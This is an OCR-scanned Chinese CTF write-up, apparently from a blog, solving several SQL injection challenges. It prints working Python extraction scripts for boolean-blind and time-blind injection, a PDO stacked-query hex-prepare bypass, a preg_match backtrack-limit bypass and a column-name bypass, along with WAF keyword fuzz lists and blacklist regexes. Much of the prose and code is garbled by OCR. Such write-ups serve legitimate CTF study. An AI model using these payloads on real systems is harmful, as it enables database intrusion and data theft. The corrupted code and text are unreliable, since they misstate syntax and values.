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POST findex. php?register HTTR/ .1

Haost: d3beB0acdshB47538ef872aaf3a60ebab5137 cfbde1bd55c. changame.ichungiu. caom
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; n:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp ™ q=0.8
Accept-Language: zh-CN zh;q=0.8, zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2


https://blog.csdn.net/a3320315
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Accept-Encoding: gzip, deflate

Referer: http://d3beB0acdBbB47538:872aaf3a60ehab5137 cfbde1bd55c. changame. ichungiu. com/iindex. php
Caontent-Type: application/x-www-form-urlencoded

Content-Length: 21

Origin: http:/fd3heB0acdEh647538ef872aaf3a60ehas5137 cfhde1bdb5c. changame.ichungiu.com

Connection: close

Cookie: Hrn_Ivt_2d0601bd28de7 d49818249:f35d95943=1581607554 1581993266 1582248445 15682248825; F
__isluid_h=d5c6=089c3d17fd52e856837 1h365:2800

Upgrade-Insecure-Requests: 1

regname=28&regpass=xxx

BRABHEBATEER TE K — F A%

BHEANR
<fdiv>
Iname=2"and 1=1-- -Pllpass=xxx <fformz
</div>
</div>

</div=>

<footer class="lowin-footer">
@zhaopin
</footers
</div>

<script sre="auth.js"=</script>
<script>
Auth.init({
login_url: #login’,
forgot_url: #forgot’
»

<fscript> ]
<fbody>
<fhtml>

<script>alert("#:3H Th!");wind ow.location.href="./zhaopin.php";</script>
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exp:



# encoding=utf-8

import requests
url = '"http://d3be80acd6b647538ef872aaf3a6@eba55137cfb4elb4d55c¢c. changame.ichunqiu.com/index.php’

#payload = "2' and (select (mid((select database()),1,{6})))!="{1}"

#payload = "2' and (select (mid((select table_name from information_schema.tables where table_schema='nzhaopin'
Limit 1 offset 3),1,{6})))!="{1}"

#payload = "2' and (select (mid((select column_name from information_schema.columns where table_name='flag' Limi

t 1 offset 1),1,{6})))!="{1}"
payload = "2' and (select (mid((select flaaag from flag limit 1 offset ©),1,{0})))!="{1}"
# backup flag user flag: id flaaag
flag = "'
letter = 'abcdefghijklmnopqrstuvwxyz0123456789_-{}"
for i in range(1,80):
for n in letter:
data={
"Iname": payload.format(i, flag+n),
"lpass": 'xxx'
}
req = requests.post(url,data=data)
req.encoding = 'gbk'
#print(req.encoding)
print(datal"lname"])
#print(req.text.encode( 'gbk').decode(req.apparent_encoding))
if "pZ" not in req.text.encode( 'gbk').decode(req.apparent_encoding):
print("* "+n)
flag+=n
print(flag)
break

B
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<?php
# flagfEflag #
include ‘waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);

}
highlight file(__ FILE_ );

MR B BRAVRIE flag 7 flag F, MRNBEBIZHNSHAA $id, HTEBARAEE D waf SIEEL, FTURNEEZNR
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GET /?id=dasdas HTTP/1.1

Host: Ofe2acT W98d412d834669029 d45a5144 adeB35ad187 4504, changame.ichungiu.com
User-Agent: Mo2ga/s.0 (Windows NT 10.0; WinG4; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html 2gplication/xhtml+xml,application/xml,g=0.9 imagefwebp /" g=0.8
Accept-Language: zIWCN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5en-US;q=0.3 en;q=0.2

g Accept-Encoding: gziphdeflate

g Connection: close

Cookie:

Hr_Ipvt_2d0B01hd28 de7 d49818249cf35d95943="1582505800;
_ jsluid_h=3713a19dff96 846727 ad | cfifac22{3
Upgrade-Insecure-Requests: 1

Hm_vt_2d0B0Thd28de7 d49515249cf35d95943="1581607554 1581993266, 1582248445 1582248825,

L

HTTRA.1 200 OK

Date: Won, 24 Feb 2020 06:04:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2559

Connection: close

Wary: Accept-Encoding

Wary: Accept-Encoding

X-Via-JSL: afflfi7 -

¥-Cache: bypass

<code=<span style="color: #00000">
<span style="color; #)000EB">&It? php<br />&nbsp; &nbsp;&nbsp;&nbsp;</span><span

style="color: #FF8000">#&nhsp;flag¥Efdg B<br />&nbsp;&nbsp;&nbsp; &nbsp;</span><span
style="color: #I07700">include&nbsp;</span><span style="color:
#DD0000"="'waf.php'</span><span style="color: #07700"=;<br
f=&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000EEB">header</span><span
style="color: #107700">(</span><span style="color:

#DDO00D">"Content-type:&nbsp; html;&nbsp;ct tf-8"</span>=<span style="color,
#O7700"=); &nbsp;<br /> &nhsp; &nbsp;&nbsp;&nbsp;</span><span style="color:
#)000EB">$db&nbsp;</span=<span style="color: #007700">=&nbsp;new&nbsp;</span><span
style="color: #J000BB">mysql</span=<span style="color: #FO07700"> ();<br f=<br
/>&nbsp;&nbsp;&nbsp;&nhsp;</span><span style="color: #0000BB">$id&nbsp;</span=<span
style="color: #107700">=&nbsp;</span><span style="color. #)000BB">$_GET</span><span
style="color: #J07700">[</span><span style="color: #DDOO00">"id"</span><span style="color.
#FO7T700"=];<br f=<br f=&nbsp:&nbsp; &nbsp; &nbsp:if&nbsp;(</span=<span style="color:
#000BB"=$id</span=<span style="color #07700">)&nbsp;{<br
/>&nhsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(</s

span style="coloi

BAIBEEBATANZR/, BRIAITUERRERARTENZ, HEAEEN, BURINHBA select REFRIEH, FrLlidiE
7T select

= L L L L — L L L

GET /?id=select HTTP/1.1 HTTP/1.1 200 OK

|Host: 0fe2ac7 1|8 d412d834669029d4555144ade635ad 1874504, changame ichungiu. com Date: Mon, 24 Feb 2020 06:05:44 GMT
User-Agent: Moz 0 (Windows NT 10.0; Wing4; x64; rvi73.0) Gecko20100101 Firefox/73.0 Content-Type: text/html; charset=utf-8
Accept: text/html,appigation/xhtml-+xml application/xml; q=0.9 imagefwebp *™ q=0.8 Content-Length: O

Accept-Language: zh-Chhgh;g=0.8 zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close

| Accept-Encoding: gzip, de ¥-Via-JSL: afflfi7 -

Connection: close ¥-Cache: bypass

f Cookie:

Hrn_Ivt_2d0B01bd28de7 d49818249cf35d95943=1581607554 1581993266, 15622458445 15682248825,
Hrn_lpvt_2d0B01hd26de7 d49818249cf35d95943=1562505800;

7 __Jsluid_h=3713a19dff96 846127 ad 1 cfffac22f3

| Upgrade-Insecure-Requests: 1

e

BATAT PUIE I fuzzoR R — T U8 7 R L b i ~~
FABLIEIT burpsuite B intruder HRBRM R

HTTR/1.1 200 OK
Date: Mon, 24 Feb 2020 06:05:.44
Content-Type: text/html; charset=ut
Content-Length: O
Connection: close

GET /?id=select HTTRP/1 .1

Host: Ofe2acy 1998d412d834669029d45a51 44 ade635ad 1874504, changame.ichungiu.com
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4, x64; r:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html application/xhtml+xml,application/xml;g=0.9 image/webp "™, q=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2

e

Accept-Encoding: gzip, deflate -~ ¥-Mia-JSL: afftfir -

Connection: close X¥-Cache: bypass
. Scan

Cookie:

Hm_Ivt_2d0601bd28deTd49818249c7y  Send to Intruder Cr+l - 582048825,

Hrm_lpvt_2d0601hd28de7 d49818249¢ Send to Repeater Ctrl+R

_ Jsluid_h=3713a19dff96=846{27 ad 1
Upgrade-Insecure-Requests: 1

Send to Sequencer
Send to Comparer
Send to Decoder

Show response in browser

Request in browser >



— B R

Engagement tools

Change request method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Save entire history
Paste URL as request
Add to site map

Convert selection

URL-encode as you type

Cut
Copy
Paste

Ctrl+X
Ctrl+C
Ctri+V

Message editor documentation

Burp Repeater documentation
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and
or

-~~~ ~ A Vv

|
&&

regexp
substr

mid

left

join

rigth

like

select

from

union
updatexml
extractvalue
exp

floor

char

ascii

insert

into

delete
update

alter

create

sleep

union select
concat
concat_ws
group_concat
substring
limit
BENCHMARK



Request | Payload Status | Error t
0 200 O O

3 = 200 O |

4 > 200 O O

5 < 200 a U

9 ' 200 O U

21 like 200 O |

22 select 200 O] O

24 unian 200 O J

26 updatexml 200 O] O

32 insert 200 O J

33 into 200 O O

35 update 200 O J

45 # 400 O] L] 154
1 and 200 O

2 or 200 O O 2781
6 ( 200 O O 2781
7 ) 200 O | 2781
8 0 200 a O 2781
10 Il 200 O] [ 2781
11 B8 200 ] ] 2781
12 & 200 O | 2781
13 " 200 O O 2781
14 200 O | 2781
15 regexp 200 Ol ] 2781
16 substr 200 O [ 27131
7 mid 200 O O 2781
18 left 200 O | 2781
19 join 200 O O 2781
20 rigth 200 O | 2781
23 from 200 O O 2781
25 s 200 O | 2781
27 extractvalue 200 O] O 2731
28 exp 200 O | 2781
29 floar 200 O O 2781
30 char 200 O | 2781
31 ascii 200 O O 2781
34 delete 200 O | 2781
36 alter 200 O O 2781
37 create 200 O [ 27131
3R lean 200 [ 1 2781

AR LA F union
select IXEH FRIEBITIE T, BRATGEBRIKIERbooVEN, HTFETHET < > =, {HRregexp®®&F i€, X2&— A IENIILEK
REiE, WA LT F R ~~



# encoding = utf-8
import requests
import time
url = "http://3d90e8eff04f49a5b5354a82fdbf771e5b22080a9fb64533.changame.ichunqiu.com/?id="
flag = "'
letter = 'abcdefghijklmnopqrstuvwxyz0123456789{}-"
for i in range(99):
for n in letter:
payload = 'l and if((fl4g REGEXP "~{@}"),sleep(3),5);"
payload = payload.format(flag+n)
start_time = time.time()
req = requests.get(url+payload)
#print(req.text)
if (time.time() - start_time)>2:
pr\int("************** "+n)
print(flag)
flag += n
break

BATMpayloady '1 and if((fldg REGEXP "~{0}"),sleep(3),5);"
XJ)LHI flag N flag FRTERIFEL, MURRINILECF/5 8, W4 sleep 3s, BT CATRATARYE Uy 1] ) A 18] S 34 iy 2 75 DG B2 )R Bh ~~

easysqli_copy

ZER/ 3]



<?php
function check($str)

{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\"|&|database/i",$str,$mat
ches))
{
print_r($matches);
return 0;
¥
else
{
return 1;
}
}
try
$db = new PDO('mysql:host=1ocalhost;dbname=pdotest’, 'root", '**¥***x"):
}
catch(Exception %e)
{
echo $e->getMessage();
}
if(isset($_GET['id"']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from tablel");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from tablel where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

XE 8 R — M phpIPDO sql&E#], —ESRULPDOTSs F RN ESQREN, ERHEHF $db->query("set names gbk"); BLi&mk T
P FTIEN~~

SHEEE
PDO— L3k A R4

PDORBRINGEH ZIBFHATHI, FrUAIRATED 57 B KEE), XHERMMEESHRMRIKIER, BT dEkE™
¥, FRUAFRAIGER prepare FilgwiFiEA

i WoR

set @a=PATHIER]; prepare ctftest from @a; execute ctftest;

Figm ¥ SCRHEIR BT +oNim) KI%i%, M ascii HAGEN, XEEmtaesd K6

exp:


https://www.freebuf.com/articles/web/216336.html

# encoding = utf-8
import requests
import time

def main():

url = "http://3bbb3cfle@1a4061b0f8b30ef3e3691df6af783c7c15401a.changame.ichunqiu.com/?id=1%df%27;"
payloads = "set @a=0x{0};prepare ctftest from @a; execute ctftest;"

flag = "'

letter="abcdefghijklmnopqrstuvwxyz0123456789{}-"

for m in range(1,80):
print("gI{e}i".format(m))

payload = "select if ((mid((select f1111114g from tablel ),1,{0})="{1}'), sleep(3), 1)"

BB ANHR, FTUTFEEFILIE, K8 ke (€A
for n in letter:
print(payload.format(m, n))

#HITENT=

xxx=url+payloads.format(str_to_hex(payload.format(m, flag+n)))

#print(xxx)

times = time.time()

res = requests.post(xxx)

if time.time() - times >= 2:
flag+=n
print(flag)
break

def str_to_hex(s):

return "'.join([hex(ord(c)).replace('0x', '') for c in s])
H#
if __name__ == ' main_ '

main()

Ezsqli

IXIE RS H A R0R B R AR A AR R S TE R
B FT 7T 9 T

# FIFRFEHRA16 AN

Please enter your ID:

BAVS BN, 2, 3, AFTREIMAER—#
BAVER BT —F, BEffuzz— T i TR
A% N\ork iR [Blhacker! ! !

__jsluid_h=e6357 44b56I18c32544528c31d057 463

Upgrade-Insecure-Requests: 1

|d=nr|

<hrs
<hr>
<div class="row justify-content-center'>
<div class="col-12 col-md-10 cal-Ig-12">
<form class="card card-sm" method="POST" action="index.php"=
<div class="card-body row no-gutters align-items-center">
<div class="col">
<input class="form-control form-control-lg form-control-borderless” type="text"
name="id" placehalder="1">
</div>

<div class="col-auto">
<hutton class="btn btn-lg btn-success” type="submit">Report</button>
</div>
<[div=



<fform=
<fdiv>
<fdiv>

<hr> /
<hr>

<div class="row justify-content-center’>
<h3=<font colo="red>hacker!!!

-t

Request | Payload |Status | Emor | Ti ; ;
0 200 (] 1737
e — TR G
2 or 200 (] 1737
19 join 200 (] 1737
29 floor 200 (] 1737
32 insert 200 (] 1737
33 into 200 (] 1737
38 sleep 200 (] 1737
42 substring 200 (] 1737
44 union select 200 (] 1737
45 BENCHMARK 200 (] 1737
3 = 500 (] 1701
4 B 500 (] [ i)
5 < 500 (] [ i)
6 ( 500 (] [ i)
7 ) 500 (] [ i)
8 0 500 O o 1
9 ’ 500 (] [ i)
10 I 500 (] [ i)
" && 500 (] [ i)
12 & 500 (] [ i)
13 " 500 (] [ i)
14 500 (] [ i)
15 regexp 500 (] o 17
16 substr 500 (] o 17
17 mid 500 (] [ i)
18 left 500 (] [ i)
20 rigth 500 (] [ i)
21 like 500 (] [ i)
= = —

Requess [5ponse

Raw | Headers | Hex | HTML Render]

<fHorm>
<fdiv>
</div>

<br>

<br>

<div class="row justify-content-center>
<h3=<font colo="rzd'>hacker!!!

BATRT U WS U8 T R L S B R

and T, WATATCUMEA s& RE

BRI S UE T or, TIRAIAEELIEEKZFRUAKL R BIR, AT RE R HinformationiX 4~ R KR B R BEATIEAR, T
Serforgt i g T, FrPARRATHA REAE XA AR E T

XERBIMAFEIT BEHREANAT K

AL EFEHKIEA innodb_index_stats innodb_table stats , {HREZLEMR, XMEFEEIET, £ —FHR, BRIA
mysql, 5.7AALLEHE T —4 sys.x$schema_table_statistics with_buffer LB E, XANELEE K EMNRHLIK,
{ERTIR R A rooth fR, FRAVIXIE™ H ISt #H root LR, W LAVTIH sys

SEHEE

Bl —Hibypass information_schema

TRERKBEEEAREN, RIEN, ERZXMLEENE S columns, TATTLIEFIES 4
BAVE K TSN ENEEF W7

o {fiFfjoin+usingiR 553K 155 4

?id=-1"' union all select*from (select * from users as a join users b)c--+

o ffMa. 28 k5|5 HERBF


https://www.anquanke.com/post/id/193512

select "1 from (select 1,2,3 union select * from users)a
B
select a.1 from (select 1,2,3 union select * from users)a

B R 5| S IR AT BAE A

XA T EE RS T union select, FATT@ T fuzz, &l unionflselectPi X id EE —RE SR, FTURIBEIR—
FhHT I ik

Ji R—

row in se

BATHAT LA AT BEAT LR T5 ¥, T A 75 2251
ZRBW R —ATHOBIE, XA HBORR R asciif # K /M EAT LB I ~~

exp

# encoding = utf-8
import requests
import time
url = 'http://40075c3ee6bd46d0976a8141ec7ea9a713630f58e5a84b39.changame.ichunqiu.com/"’
flag = "'
for i in range(1,99
for n in range(32,126
a=chr(n).encode hex
payload = "2-( (select 1,0x%s)>(select * from flag _1s h3r3_hhhhh 1limit 1))"%(flag.encode().hex()+a
data = {'id': payload
#start _time = time.time()
req = requests.post(url, data
print(payload
if 'Hello NulL' in req.text
pr\int "9k 3k 3k 5k 3k 3k 3k >k %k >k %k >k ok k "+Chr‘ n-1
flag += chr(n-1
print(flag
break

RLBATRA S BEHIR AT LB, RAEAM L ERATRFOEANBR LI, R AAEVEE SR, XAATRERZ B O
T ~~



RERSITERALT XM, REAKEEERRR, FZEHA—T

Please enter your 1D:

1&&/(select 1,concat(~',CAST(0' as Json))) < (select * from flag_1s_h3r3_hhhhh limit 1))

Hello NuilL

A — G¢idpreg_match

XA RRAGEFEXER RS, AidEEREA SR, BOEN)ESIREMEH preg_match #4Tid 388, 11 BL3RAT
#R 5038 preg_matchBE A& K EIWIEA10075, T HIXES H 2 MHpostti S, Bt RgettESH BKurlfR], HIAE
F "union/*'+ 'a'*100000+'*/select’ HLH] LAGEiTunion selectid i, AT HMMITLHIZIEN~~

exp:

# encoding = utf-8
import requests
import time

url = 'http://6382d29cd55d4f1ab600c511d0f43bdb2831fcclalead8bf.changame.ichunqiu.com/"
flag = "'
letter = 'abcedf@©123456789{}-"
for i in range(1,99):
for n in letter:
#payload = "2-( (select 1,0x%s)>(select * from flag_1s_h3r3_hhhhh Limit 1))"%(flag.encode().hex()+a)
payload = "1 & mid((select group_concat(a.2) from (select 1,2 union/*"+'a'*1000000+"*/select * from
flag_1s_h3r3_hhhhh)a),1,{0})={1}"
data = {'id': payload.format(i, flag+n)}
#start_time = time.time()
req = requests.post(url, data)
#print(payload)
print(len(payload))
if 'Hello NulL' in req.text:
pr\int("************** "+n)
flag += n
print(flag)
break

ERRI AT —TF, BBEEAE R, TR B IR preg match HE4T 938
blacklist



RR-EFRET, AASHENT —EdENE

&y || g==l

return prez_match(”/set|prepare|alter|rename|select|update|delete|drop|insert |where|’. /17, $inject) -

KIE prepare fl alter Fl rename &It 3E, A FRHIFEF T IEETLIEMAT
L MAXE B H 2 R A EAATHY

Bl RATHA

1';show tables; T B4 B~ BT A HIR

array(2) {

[0l=>

string(1) “17

[1]=>

string(7) “hahahah”
}

array (1) {
[o]=»
string(8) "FlagHere”

}

array (1) {
[o]=>
string(5) “words”

}

BATHAIE flag IAE T FlagHere
BEHERER

0';show columns from FlagHere;#

B A

1';desc FlagHere;#



ZH 1 | BxER

array(2) {
[o]=>
string(1) “17
[1]=>
string(7) “hahahah”

array(6) {
[o]=:
string(4) "flag”
[1]=>
string(12) “varchar(100}”
[2]=>
string(2) “NO”
(31=>
string(0) 77
[4]=>
NULL
(s1=>
string(0) 77

P B SR — 4, AR BATHIE flag F£ 7B flag H
WL R

o TigmERIEN G KA
o R4 fEflag T E A BUE B AR N B 2 IR

T RAS RAE B 5304 mysql F4FME handler

8 rows affected (8.88 sec)

t * from flag;




o LT P - R v g T e ey |

handler cool r

4

g

1

PAE B H R IR L SR B T R sQRE AR E T
HHERXE, BT HZsqREARARA, #HMEEE FELKE R

T B 132


https://xz.aliyun.com/t/7169
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